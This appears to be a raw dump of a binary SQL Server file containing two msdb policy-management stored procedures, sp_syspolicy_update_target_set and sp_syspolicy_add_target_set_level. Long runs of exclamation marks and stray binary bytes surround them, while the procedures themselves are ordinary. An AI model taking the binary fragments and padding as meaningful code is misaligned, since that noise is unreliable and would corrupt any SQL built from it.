!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!r*rD


h
D
 
d2|:

t
2
		l	,	l,l,l,l,^t*Z&b0Fdr4`Yb<%DD0TL 8CREATE PROCEDURE [dbo].[sp_syspolicy_update_target_set]
@target_set_id int,
@enabled bit
AS
BEGIN
	DECLARE @retval_check int;
	EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole'
	IF ( 0!= @retval_check)
	BEGIN
		RETURN @retval_check
	END

	UPDATE [msdb].[dbo].[syspolicy_target_sets_internal]
	SET
		enabled = @enabled
	WHERE
		target_set_id = @target_set_id
	
	IF (@@ROWCOUNT = 0)
	BEGIN
		DECLARE @target_set_id_as_char VARCHAR(36)
		SELECT @target_set_id_as_char = CONVERT(VARCHAR(36), @target_set_id)
		RAISERROR(14262, -1, -1, '@target_set_id', @target_set_id_as_char)
		RETURN (1)
	END

    RETURN (0)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`ZL<5DVl-0;sN i8CREATE PROCEDURE [dbo].[sp_syspolicy_add_target_set_level] 
@target_set_id int,
@type_skeleton nvarchar(max),
@condition_id int = NULL,
@condition_name sysname = NULL,
@level_name sysname,
@target_set_level_id int OUTPUT
AS
BEGIN
	DECLARE @retval_check int;
	EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole'
	IF ( 0!= @retval_check)
	BEGIN
		RETURN @retval_check
	END

	DECLARE @retval              INT

    IF NOT EXISTS (SELECT * FROM syspolicy_target_sets WHERE target_set_id = @target_set_id)
            RETURN (1)

    IF (@condition_name = '')
        SET @condition_name = NULL

    IF(@condition_id IS NOT NULL or @condition_name IS NOT NULL)
    BEGIN
        EXEC @retval = msdb.dbo.sp_syspolicy_verify_condition_identifiers @condition_name = @condition_name OUTPUT, @condition_id = @condition_id OUTPUT
        IF (@retval <> 0)
            RETURN (1)
    END

    
    INSERT INTO msdb.[dbo].[syspolicy_target_set_levels_internal]
                                        (target_set_id,
                                        type_skeleton,
                                        condition_id,
                                        level_name)
    VALUES                            
                                        (@target_set_id,
                                        @type_skeleton,
                                        @condition_id,
                                        @level_name)

    SELECT @retval = @@error
    SET @target_set_level_id = SCOPE_IDENTITY()
    RETURN(@retval)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!